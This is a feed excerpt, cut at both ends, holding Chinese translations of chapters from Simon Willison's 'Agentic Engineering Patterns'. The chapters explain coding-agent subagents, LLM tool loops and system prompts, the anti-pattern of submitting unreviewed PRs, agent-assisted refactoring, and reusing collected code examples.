个 Token 以下时结果质量更好。&lt;/p&gt;
&lt;p&gt;为了让模型获得最佳效果，精心管理上下文以使其保持在这些限制之内至关重要。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;子智能体&lt;/strong&gt;提供了一种简单而有效的方法来处理大型任务，同时又不会耗尽编程智能体宝贵的顶级上下文。&lt;/p&gt;
&lt;p&gt;当编程智能体使用子智能体时，它实际上是派遣了一个自身的“新鲜副本”去实现特定目标，这个副本拥有一个从全新提示词开始的独立上下文窗口。&lt;/p&gt;
&lt;h3&gt;Claude Code 的 Explore 子智能体&lt;/h3&gt;
&lt;p&gt;Claude Code 在其标准工作流程中广泛使用子智能体。让我们以此为例进行说明。&lt;/p&gt;
&lt;p&gt;每当你针对现有仓库启动新任务时，Claude Code 首先需要探索该仓库，以了解其总体结构并找到完成任务所需的相关信息。&lt;/p&gt;
&lt;p&gt;它通过构建提示词并派遣一个“Explore”（探索）子智能体来执行此操作，该子智能体运行后会返回其发现的描述。&lt;/p&gt;
&lt;p&gt;我曾用我指南中某个页面的截图和以下提示词启动了一个 Claude Code 会话：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;让章节差异（chapter diffs）在差异视图中也能显示哪些字符发生了变化，对于行内单独变化的文本段落，使用深红色或深绿色显示。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Claude Code 首先运行了一个带有如下初始提示词的“Explore”子智能体：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;查找此 Django 博客中实现“章节”差异视图的代码。我需要找到：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;渲染差异的模板（寻找带有红/绿背景的差异相关 HTML/CSS）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;生成差异的 Python 代码（寻找 &lt;code&gt;difflib&lt;/code&gt; 的使用或类似代码）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;与差异渲染相关的任何 JavaScript&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;差异视图的 CSS 样式（红/绿行背景） 彻底搜索 - 检查 &lt;code&gt;templates/&lt;/code&gt;、&lt;code&gt;static/&lt;/code&gt;、&lt;code&gt;blog/&lt;/code&gt; 目录。查找关键字如 "diff"、"chapter"、"revision"、"history"、"compare"。
&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;子智能体的工作方式与其他工具调用类似：主智能体像调用其他工具一样派遣它们并等待响应。看到模型以这种方式给自己写提示词非常有趣——它们通常在提示策略上很有品味。&lt;/p&gt;
&lt;p&gt;Explore 子智能体运行了几秒钟，返回的响应开头如下：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;太棒了！现在让我创建一个包含所有发现的综合摘要： &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;摘要：章节差异视图实现&lt;/strong&gt; 我找到了该 Django 博客中章节差异视图的完整实现。以下是关键组件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Python 代码 - 差异生成&lt;/strong&gt; (&lt;code&gt;/home/user/simonwillisonblog/guides/views.py&lt;/code&gt;, 第 139-202 行) &lt;code&gt;chapter_changes()&lt;/code&gt; 视图函数使用 Python 内置的 &lt;code&gt;difflib.unified_diff()&lt;/code&gt; 来生成差异：[...]
&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;完整的子智能体响应包含了主智能体开始编辑代码以解决我原始请求所需的所有细节。&lt;/p&gt;
&lt;h3&gt;并行子智能体&lt;/h3&gt;
&lt;p&gt;这种 Explore 子智能体是子智能体工作方式中最简单的例子，即主智能体在子智能体运行时暂停。这种子智能体的主要优势在于它能以全新的上下文工作，从而避免消耗主智能体的可用 Token 限额。&lt;/p&gt;
&lt;p&gt;子智能体还可以通过让主智能体同时运行多个子智能体来显著提升性能，甚至可能使用更快、更便宜的模型（如 Claude Haiku）来加速这些任务。&lt;/p&gt;
&lt;p&gt;支持子智能体的编程智能体可以根据你的指令使用它们。可以尝试如下提示词：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;使用子智能体查找并更新所有受此更改影响的模板。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;对于涉及编辑多个文件且这些文件互不依赖的任务，这可以带来显著的速度提升。&lt;/p&gt;
&lt;h3&gt;专家级子智能体&lt;/h3&gt;
&lt;p&gt;一些编程智能体允许子智能体带着进一步的自定义设置运行，通常表现为自定义系统提示词或自定义工具（或两者兼有），这使得这些子智能体能够承担不同的角色。&lt;/p&gt;
&lt;p&gt;这些角色可以涵盖各种有用的专业领域：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;代码审查 (Code Reviewer)&lt;/strong&gt; 智能体：可以审查代码并识别 Bug、功能缺失或设计缺陷。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;测试运行 (Test Runner)&lt;/strong&gt; 智能体：可以运行测试。如果你的测试套件庞大且冗长，这尤其值得，因为子智能体可以向主智能体隐藏完整的测试输出，仅报告失败的细节。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;调试 (Debugger)&lt;/strong&gt; 智能体：可以专门负责调试问题，利用其 Token 配额在代码库中进行推理，并运行代码片段以帮助隔离重现步骤并确定 Bug 的根本原因。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;虽然将任务拆分到数十个不同的专家子智能体中可能很诱人，但请务必记住，子智能体的主要价值在于保留核心上下文和管理 Token 密集型操作。只要有足够的 Token 余量，你的核心编程智能体完全有能力自行调试或审查其输出。&lt;/p&gt;
&lt;h3&gt;官方文档&lt;/h3&gt;
&lt;p&gt;几个流行的编程智能体都支持子智能体，每个都有关于如何使用它们的文档：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OpenAI Codex 子智能体&lt;/li&gt;
&lt;li&gt;Claude 子智能体&lt;/li&gt;
&lt;li&gt;Gemini CLI 子智能体&lt;/li&gt;
&lt;li&gt;Mistral Vibe 子智能体&lt;/li&gt;
&lt;li&gt;OpenCode 智能体&lt;/li&gt;
&lt;li&gt;Visual Studio Code 中的子智能体&lt;/li&gt;
&lt;li&gt;Cursor 子智能体&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;原文：&lt;a href="https://simonwillison.net/guides/agentic-engineering-patterns/"&gt;Agentic Engineering Patterns&lt;/a&gt; by Simon Willison&lt;/em&gt;&lt;/p&gt;</content><category term="agentic-patterns-translation"/></entry><entry><title>06-agents如何工作</title><link href="https://foofish.net/how-coding-agents-work.html" rel="alternate"/><published>2026-03-21T10:12:06+08:00</published><updated>2026-03-21T10:12:06+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2026-03-21:/how-coding-agents-work.html</id><summary type="html">&lt;p&gt;与任何工具一样，了解编程智能体（Coding Agents）的底层运作机制能帮助你更好地决定如何应用它们。&lt;/p&gt;
&lt;p&gt;编程智能体本质上是一套为 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;与任何工具一样，了解编程智能体（Coding Agents）的底层运作机制能帮助你更好地决定如何应用它们。&lt;/p&gt;
&lt;p&gt;编程智能体本质上是一套为大语言模型（LLM）提供支持的软件“&lt;strong&gt;外壳&lt;/strong&gt;”（Harness）。它通过隐藏的提示词（Prompts）来扩展 LLM 的能力，并将其实现为可调用的工具。&lt;/p&gt;
&lt;h3&gt;大语言模型 (LLM)&lt;/h3&gt;
&lt;p&gt;任何编程智能体的核心都是大语言模型。它们拥有诸如 GPT-5.4、Claude Opus 4.6、Gemini 3.1 Pro 或 Qwen3.5-35B-A3B 之类的名称。&lt;/p&gt;
&lt;p&gt;LLM 是一种能够完成文本句子的机器学习模型。如果你给模型一个短语“the cat sat on the ”，它（几乎肯定）会建议“mat”作为句子的下一个词。&lt;/p&gt;
&lt;p&gt;随着这些模型变得越来越大，并接受更多数据的训练，它们可以完成更复杂的句子，例如：“a python function to download a file from a URL is &lt;code&gt;def download_file(url):&lt;/code&gt;”。&lt;/p&gt;
&lt;p&gt;LLM 实际上并不直接处理单词，而是处理 &lt;strong&gt;Token&lt;/strong&gt;（标记）。一段文本会被转换成一系列整数 Token，因此“the cat sat on the ”变成了 &lt;code&gt;[3086, 9059, 10139, 402, 290, 220]&lt;/code&gt;。这一点值得了解，因为 LLM 供应商是根据处理的 Token 数量收费的，且模型一次能处理的 Token 数量也是有限的。&lt;/p&gt;
&lt;p&gt;你可以在 &lt;code&gt;platform.openai.com/tokenizer&lt;/code&gt; 使用 OpenAI 的分词器进行实验，观察其工作原理。&lt;/p&gt;
&lt;p&gt;LLM 的输入被称为 &lt;strong&gt;Prompt&lt;/strong&gt;（提示词）。LLM 返回的文本被称为 &lt;strong&gt;Completion&lt;/strong&gt;（补全）或 &lt;strong&gt;Response&lt;/strong&gt;（响应）。&lt;/p&gt;
&lt;p&gt;如今许多模型都是&lt;strong&gt;多模态&lt;/strong&gt;的，这意味着它们不仅能接受文本输入。&lt;strong&gt;视觉 LLM&lt;/strong&gt; (vLLM) 可以接受图像作为输入的一部分，这意味着你可以向它们提供草图、照片或截图。一个常见的误解是，这些图像会通过独立的 OCR 或图像分析流程处理，但实际上这些输入会被转化为更多的整数 Token，并以与文本相同的方式进行处理。&lt;/p&gt;
&lt;h3&gt;对话模板提示词&lt;/h3&gt;
&lt;p&gt;早期的 LLM 像补全引擎一样工作——用户需要提供一段提示词，然后由模型补全，如上述两个例子所示。&lt;/p&gt;
&lt;p&gt;这对用户并不友好，因此模型大多转向使用&lt;strong&gt;对话模板提示词&lt;/strong&gt;（Chat Templated Prompts），将与模型的通信模拟为一场对话。&lt;/p&gt;
&lt;p&gt;这实际上只是补全提示词的一种特殊格式，看起来像这样：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;user&lt;/strong&gt;: 编写一个从 URL 下载文件的 Python 函数 
&lt;strong&gt;assistant&lt;/strong&gt;:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这个提示词的自然补全方式就是 Assistant（由 LLM 代表）用一段 Python 代码回答用户的问题。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LLM 是无状态的&lt;/strong&gt;：每次执行提示词时，它们都从同一张白纸开始。&lt;/p&gt;
&lt;p&gt;为了维持对话的模拟状态，与模型通信的软件需要维护自己的状态，并在用户每次输入新的聊天提示词时，重新发送整个现有的对话历史：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;user&lt;/strong&gt;: 编写一个从 URL 下载文件的 Python 函数 
&lt;strong&gt;assistant&lt;/strong&gt;: `def download_url(url): 
              return urllib.request.urlopen(url).read()
 &lt;strong&gt;user&lt;/strong&gt;: 改用 requests 库 
 &lt;strong&gt;assistant&lt;/strong&gt;:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;由于供应商对输入和输出 Token 都会收费，这意味着随着对话变长，由于每次输入 Token 数量都在增加，每个提示词的成本也会变得更高。&lt;/p&gt;
&lt;h3&gt;Token 缓存&lt;/h3&gt;
&lt;p&gt;大多数模型供应商通过对&lt;strong&gt;缓存输入 Token&lt;/strong&gt;（Cached Input Tokens）提供更优惠的费率来缓解这一问题。如果在短时间内处理过共同的 Token 前缀，由于底层基础设施可以缓存并重用处理该输入时产生的大量昂贵计算，因此可以按较低费率收费。&lt;/p&gt;
&lt;p&gt;编程智能体在设计时考虑了这种优化——它们会尽量避免修改早期的对话内容，以确保缓存得到最有效的利用。&lt;/p&gt;
&lt;h3&gt;调用工具&lt;/h3&gt;
&lt;p&gt;LLM &lt;strong&gt;智能体&lt;/strong&gt;（Agent）的特征是它们可以调用&lt;strong&gt;工具&lt;/strong&gt;。但什么是工具呢？&lt;/p&gt;
&lt;p&gt;工具是智能体外壳提供给 LLM 调用的一种函数。&lt;/p&gt;
&lt;p&gt;在提示词层面，它看起来像这样：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;system&lt;/strong&gt;: 如果你需要获取天气，请在回复末尾加上 &lt;code&gt;&amp;lt;tool&amp;gt;get_weather(city_name)&amp;lt;/tool&amp;gt;&lt;/code&gt; &lt;strong&gt;user&lt;/strong&gt;: 旧金山的天气怎么样？ 
&lt;strong&gt;assistant&lt;/strong&gt;:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;此时，助手可能会返回如下文本： &lt;code&gt;&amp;lt;tool&amp;gt;get_weather("San Francisco")&amp;lt;/tool&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;智能体外壳软件随后从响应中提取该函数调用请求（通常使用正则表达式），并执行该工具。&lt;/p&gt;
&lt;p&gt;然后，它将结果返回给模型，并构建一个类似这样的提示词：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;system&lt;/strong&gt;: 如果你需要获取天气，请在回复末尾加上 &lt;code&gt;&amp;lt;tool&amp;gt;get_weather(city_name)&amp;lt;/tool&amp;gt;&lt;/code&gt; &lt;strong&gt;user&lt;/strong&gt;: 旧金山的天气怎么样？ 
&lt;strong&gt;assistant&lt;/strong&gt;: &lt;code&gt;&amp;lt;tool&amp;gt;get_weather("San Francisco")&amp;lt;/tool&amp;gt;&lt;/code&gt; 
&lt;strong&gt;user&lt;/strong&gt;: &lt;code&gt;&amp;lt;tool-result&amp;gt;61°, 多云&amp;lt;/tool-result&amp;gt;&lt;/code&gt; 
&lt;strong&gt;assistant&lt;/strong&gt;:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;LLM 现在可以利用该工具结果来生成用户问题的答案。&lt;/p&gt;
&lt;p&gt;大多数编程智能体会定义十几个或更多的工具供智能体调用。其中最强大的是允许代码执行的工具——例如用于执行终端命令的 &lt;code&gt;Bash()&lt;/code&gt; 工具，或用于运行 Python 代码的 &lt;code&gt;Python()&lt;/code&gt; 工具。&lt;/p&gt;
&lt;h3&gt;系统提示词 (System Prompt)&lt;/h3&gt;
&lt;p&gt;在前面的例子中，我包含了一个标为“system”的初始消息，它告知了 LLM 可用的工具以及如何调用。&lt;/p&gt;
&lt;p&gt;编程智能体通常在每次对话开始时都带有一个类似的&lt;strong&gt;系统提示词&lt;/strong&gt;。它对用户不可见，但提供了指导模型行为的指令。&lt;/p&gt;
&lt;p&gt;这些系统提示词可能长达数百行。例如 2026 年 3 月时的 OpenAI Codex 系统提示词，它清晰地展示了让这些编程智能体正常工作所需的各类指令。&lt;/p&gt;
&lt;h3&gt;推理 (Reasoning)&lt;/h3&gt;
&lt;p&gt;2025 年的一项重大进展是在尖端模型系列中引入了&lt;strong&gt;推理&lt;/strong&gt;能力。&lt;/p&gt;
&lt;p&gt;推理（在 UI 中有时显示为“思考”）是指模型在向用户提供答复之前，花费额外的时间生成文本，详细分析问题及其潜在解决方案。&lt;/p&gt;
&lt;p&gt;这看起来类似于人类的大声思考，且效果也类似。关键在于，它允许模型在问题上投入更多时间（和更多 Token），从而有望获得更好的结果。&lt;/p&gt;
&lt;p&gt;推理对于调试代码中的问题特别有用，因为它让模型有机会梳理更复杂的代码路径，结合工具调用，并利用推理阶段追溯函数调用以寻找问题的潜在根源。&lt;/p&gt;
&lt;p&gt;许多编程智能体提供了调节推理力度级别的选项，鼓励模型在处理难题时花费更多精力去推敲。&lt;/p&gt;
&lt;h3&gt;LLM + 系统提示词 + 工具循环&lt;/h3&gt;
&lt;p&gt;信不信由你，构建一个编程智能体基本上只需要这些！&lt;/p&gt;
&lt;p&gt;如果你想更深入地理解这些事物是如何运作的，一个有用的练习是尝试从零开始构建自己的智能体。只需在现有的 LLM API 之上编写几十行代码，就可以实现一个简单的工具循环。&lt;/p&gt;
&lt;p&gt;当然，一个&lt;strong&gt;优秀&lt;/strong&gt;的工具循环需要投入更多工作，但其基本原理却出人意料地简单直接。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;原文：&lt;a href="https://simonwillison.net/guides/agentic-engineering-patterns/"&gt;Agentic Engineering Patterns&lt;/a&gt; by Simon Willison&lt;/em&gt;&lt;/p&gt;</content><category term="agentic-patterns-translation"/></entry><entry><title>05-反模式：应当避免的行为</title><link href="https://foofish.net/anti-patterns.html" rel="alternate"/><published>2026-03-21T10:12:05+08:00</published><updated>2026-03-21T10:12:05+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2026-03-21:/anti-patterns.html</id><summary type="html">&lt;p&gt;在我们这个奇特的智能体化工程新世界里，有些行为已经演变成了典型的“反模式”。&lt;/p&gt;
&lt;h3&gt;将未经审查的代码甩给协作伙伴&lt;/h3&gt;
&lt;p&gt;这种 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;在我们这个奇特的智能体化工程新世界里，有些行为已经演变成了典型的“反模式”。&lt;/p&gt;
&lt;h3&gt;将未经审查的代码甩给协作伙伴&lt;/h3&gt;
&lt;p&gt;这种反模式非常普遍，且极其令人沮丧。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;永远不要提交一份连你自己都没审计过的拉取请求（PR）。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果你提交了一个包含数百行（甚至数千行）由智能体生成的代码的 PR，而你自己却没有下功夫确保这些代码能够正常运行，那么你实际上是在把本属于你的工作转嫁给他人。&lt;/p&gt;
&lt;p&gt;既然如此，别人完全可以自己去调教智能体。&lt;strong&gt;你作为一个人的价值体现在哪儿呢？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当你把代码提交审核时，你必须确信它已经准备就绪，值得别人投入时间去审阅。&lt;strong&gt;第一轮代码审查是你的责任&lt;/strong&gt;，而不是你应该“外包”给别人的杂活。&lt;/p&gt;
&lt;p&gt;一个优秀的“智能体化工程” PR 应当具备以下特征：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;代码确实可用，且你对此深信不疑：&lt;/strong&gt; 你的职责是交付可运行的代码。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;改动范围足够小，可以被高效评审：&lt;/strong&gt; 这样不会给评审者带来过重的认知负担。多个小 PR 优于一个大 PR；利用编程智能体帮你处理 Git 的繁琐操作，将代码拆分成独立的提交（Commit）是非常容易的。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;包含额外的上下文信息：&lt;/strong&gt; 这项改动的更高层目标是什么？链接到相关的 Issue 或技术规范会非常有帮助。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;认真核对 PR 描述：&lt;/strong&gt; 智能体能写出看起来煞有介事的 PR 描述，但你也必须审核它们！指望别人阅读连你自己都没读过、没验证过的文字，是非常不礼貌的行为。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;考虑到向别人“倾倒”未经审查的代码是如此轻而易举，我建议你在 PR 中提供一些&lt;strong&gt;你亲自投入过精力&lt;/strong&gt;的证明。例如：关于你如何进行手动测试的笔记、对特定实现方案的选择说明，甚至是功能运行的截图或录屏。这些细节能有力地证明：评审者钻研你的代码细节绝不会是在浪费时间。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;原文：&lt;a href="https://simonwillison.net/guides/agentic-engineering-patterns/"&gt;Agentic Engineering Patterns&lt;/a&gt; by Simon Willison&lt;/em&gt;&lt;/p&gt;</content><category term="agentic-patterns-translation"/></entry><entry><title>04-AI 应当帮助我们产出更好的代码</title><link href="https://foofish.net/better-code.html" rel="alternate"/><published>2026-03-21T10:12:04+08:00</published><updated>2026-03-21T10:12:04+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2026-03-21:/better-code.html</id><summary type="html">&lt;p&gt;许多开发者担心，将代码外包给 AI 工具会导致质量下降，产生大量虽然产出极快、却充满缺陷的代码，而决策者为了效率往 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;许多开发者担心，将代码外包给 AI 工具会导致质量下降，产生大量虽然产出极快、却充满缺陷的代码，而决策者为了效率往往会忽视这些瑕疵。&lt;/p&gt;
&lt;p&gt;如果采用编程智能体明显降低了你产出的代码或功能质量，你应该直接面对并解决这个问题：找出流程中哪些环节损害了输出质量，并修复它们。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用智能体交付更烂的代码是一种“选择”。我们完全可以选择交付更好的代码。&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;避免背负技术债&lt;/h3&gt;
&lt;p&gt;我喜欢从“技术债”的角度来思考如何交付更好的代码。技术债通常是折衷方案的结果：因为按“正确的方式”做太花时间，所以我们被迫在时间压力下妥协，并祈祷项目能活到以后有机会还债的那一天。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;缓解技术债的最佳手段，就是从一开始就避免背负它。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;根据我的经验，有一类常见的技术债修复工作属于“原理简单但耗时巨大”：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;API 设计缺陷：&lt;/strong&gt; 最初的 API 设计没考虑到后来出现的重要场景。修复它需要改动几十处代码，于是为了省事，我们加了一个略有不同的新 API，从而忍受重复。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;命名不当：&lt;/strong&gt; 早期对某个概念的命名有误（例如用了 &lt;code&gt;teams&lt;/code&gt; 而不是 &lt;code&gt;groups&lt;/code&gt;），但要在全局清理这个命名工作量太大，所以我们只改了 UI 界面。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;功能冗余：&lt;/strong&gt; 随着时间推移，系统中出现了多个雷同但略有差异的功能，需要合并和重构。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;文件臃肿：&lt;/strong&gt; 某个文件已经增长到了几千行代码，理想情况下应该拆分成独立的模块。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些改动在概念上都很简单，但都需要专门的时间投入。在面临更紧迫的任务时，这些工作往往很难获得优先级。&lt;/p&gt;
&lt;h3&gt;编程智能体可以胜任这些工作&lt;/h3&gt;
&lt;p&gt;这类重构任务是编程智能体的&lt;strong&gt;理想应用场景&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;启动一个智能体，告诉它要改什么，然后让它在后台的分支或工作区里自行忙碌去吧。&lt;/p&gt;
&lt;p&gt;我通常使用异步编程智能体来处理这些，比如 &lt;strong&gt;Gemini Jules&lt;/strong&gt;、&lt;strong&gt;OpenAI Codex 网页版&lt;/strong&gt;或 &lt;strong&gt;Claude Code 网页版&lt;/strong&gt;。这样我可以运行这些重构任务，而不必中断我笔记本电脑上的工作流。&lt;/p&gt;
&lt;p&gt;然后在 Pull Request（拉取请求）中评估结果：如果不错，就合并；如果差一点，就通过提示词告诉它哪里需要改进；如果很烂，直接丢弃。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这些代码改进的成本已经降得如此之低，以至于我们完全可以对微小的“代码异味（Code Smells）”和不便之处保持零容忍态度。&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;AI 工具让我们考虑更多选项&lt;/h3&gt;
&lt;p&gt;任何软件开发任务都有多种实现方案。最严重的技术债往往源于规划阶段的错误选择——比如漏掉了显而易见的简单方案，或者选了一个后来发现并不契合的技术栈。&lt;/p&gt;
&lt;p&gt;LLM 可以确保我们不会遗漏那些之前未曾留意的方案。它们通常会推荐训练数据中常见的方案，而这些往往是那些最可能行之有效的“&lt;strong&gt;无聊技术&lt;/strong&gt;（Boring Technology）”。&lt;/p&gt;
&lt;p&gt;更重要的是，编程智能体可以辅助&lt;strong&gt;探索性原型开发&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;做出自信技术决策的最佳方式，就是通过原型证明其适用性。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“对于一个预期有数千并发用户的网站，Redis 是活动流（Activity Feed）的好选择吗？”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;确认这一点的最佳方式是编写一个系统仿真模型，并对其进行压力测试。&lt;/p&gt;
&lt;p&gt;编程智能体只需一个精心编写的提示词就能构建这种仿真，将实验成本降至几乎为零。既然如此廉价，我们可以同时运行多个实验，测试多种方案，从而选出最适合的那一个。&lt;/p&gt;
&lt;h3&gt;拥抱“复利工程循环”&lt;/h3&gt;
&lt;p&gt;智能体会遵循指令。我们可以根据以往的经验教训，不断演进这些指令，以便在未来的运行中获得更好的结果。&lt;/p&gt;
&lt;p&gt;Every 公司的 Dan Shipper 和 Kieran Klaassen 将他们与编程智能体协作的方法称为“&lt;strong&gt;复利工程&lt;/strong&gt;（Compound Engineering）”。他们每完成一个编程项目都会进行复盘，称之为“&lt;strong&gt;复利步骤&lt;/strong&gt;（Compound Step）”——他们会将行之有效的经验记录下来，供未来的智能体运行参考。&lt;/p&gt;
&lt;p&gt;如果我们想从智能体那里获得最佳结果，就应该致力于随时间推移不断提升代码库的质量。微小的改进会产生复利效应。&lt;strong&gt;过去耗时的质量提升工作，现在的成本已经降到了让你没有任何借口不投入的地步。&lt;/strong&gt; 编程智能体意味着我们终于可以同时拥有“高质量”和“新功能”。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;原文：&lt;a href="https://simonwillison.net/guides/agentic-engineering-patterns/"&gt;Agentic Engineering Patterns&lt;/a&gt; by Simon Willison&lt;/em&gt;&lt;/p&gt;</content><category term="agentic-patterns-translation"/></entry><entry><title>03-囤积那些你“知道怎么做”的事情</title><link href="https://foofish.net/hoard-things-you-know-how-to-do.html" rel="alternate"/><published>2026-03-21T10:12:03+08:00</published><updated>2026-03-21T10:12:03+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2026-03-21:/hoard-things-you-know-how-to-do.html</id><summary type="html">&lt;p&gt;我关于如何高效使用编程智能体的许多建议，其实都是我职业生涯中那些行之有效的经验之谈，即便没有 AI 参与时也同 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;我关于如何高效使用编程智能体的许多建议，其实都是我职业生涯中那些行之有效的经验之谈，即便没有 AI 参与时也同样适用。一个绝佳的例子就是：&lt;strong&gt;囤积那些你“知道怎么做”的事情。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;构建软件的一项核心能力，在于理解什么是可能的，什么是不可能的，并且至少对如何实现这些目标有一个大致的思路。&lt;/p&gt;
&lt;p&gt;这些问题可能宏大，也可能非常冷门。例如：网页能否仅靠 JavaScript 运行 OCR（光学字符识别）？iPhone 应用在未运行时能否与蓝牙设备配对？我们能否在 Python 中处理 100GB 的 JSON 文件而不将其全部加载到内存？&lt;/p&gt;
&lt;p&gt;你掌握这类问题的答案越多，就越有可能发现别人尚未想到的、利用技术解决问题的机会。&lt;/p&gt;
&lt;p&gt;要对这些答案充满信心，最好的办法就是亲眼看到&lt;strong&gt;运行中的代码&lt;/strong&gt;。知道某事在理论上可行，与亲眼见证它被实现完全是两回事。作为软件专业人士，一项关键资产就是收集大量此类问题的答案，并附带相关的证明代码。&lt;/p&gt;
&lt;p&gt;我通过多种方式“囤积”这些方案。我的博客和“TIL（今天学到了）”博客里塞满了关于各种技术实现的研究笔记。我在 GitHub 上有&lt;strong&gt;一千多个仓库&lt;/strong&gt;，收集了为不同项目编写的代码，其中很多都是演示核心理念的小型原型（PoC）。&lt;/p&gt;
&lt;p&gt;最近，我开始利用 LLM 来帮助我扩展这一代码方案库。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;tools.simonwillison.net&lt;/strong&gt;：这是我最大的 LLM 辅助工具和原型集合。我用它来收集我所谓的“&lt;strong&gt;HTML 工具&lt;/strong&gt;”——即嵌入了 JS 和 CSS、解决特定问题的单 HTML 页面。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;simonw/research 仓库&lt;/strong&gt;：这里存放着更庞大、更复杂的示例。我会要求编程智能体研究某个问题，并返回可运行的代码以及一份详细说明其发现的报告。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;重新组合你的“宝库”&lt;/h2&gt;
&lt;p&gt;为什么要收集这些东西？除了提升个人能力外，你在这个过程中生成的资产会成为编程智能体的&lt;strong&gt;强大输入&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;我最喜欢的提示词模式之一，就是&lt;strong&gt;让智能体通过组合两个或多个现有的运行示例来构建新东西。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一个让我深刻意识到这种方式多么有效的项目，是我工具集里的第一个成员：一个基于浏览器的 &lt;strong&gt;OCR 工具&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;当时，我想做一个简单的浏览器工具，用来对 PDF 页面进行 OCR 处理——尤其是那些完全由扫描图像组成、没有文本层的 PDF。&lt;/p&gt;
&lt;p&gt;我之前尝试过在浏览器中运行 &lt;strong&gt;Tesseract.js&lt;/strong&gt; 库，发现它非常强大。该库提供了成熟的 Tesseract OCR 引擎的 WebAssembly 版本，允许你从 JS 调用它来提取图像文本。&lt;/p&gt;
&lt;p&gt;但我不想处理单张图像，我想处理 PDF。接着我想到，我以前用过 Mozilla 的 &lt;strong&gt;PDF.js&lt;/strong&gt; 库，它可以将 PDF 的每一页渲染成图像。&lt;/p&gt;
&lt;p&gt;在我的笔记里，正好有这两个库的 JavaScript 代码片段。于是，我把这两个示例结合起来，向模型（当时是 Claude 3 Opus）发出了如下提示词：&lt;/p&gt;
